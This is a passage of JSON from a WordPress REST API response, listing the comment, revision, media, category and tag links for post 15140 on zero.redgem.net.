\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15140"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15140\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15140"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15140"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15140"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}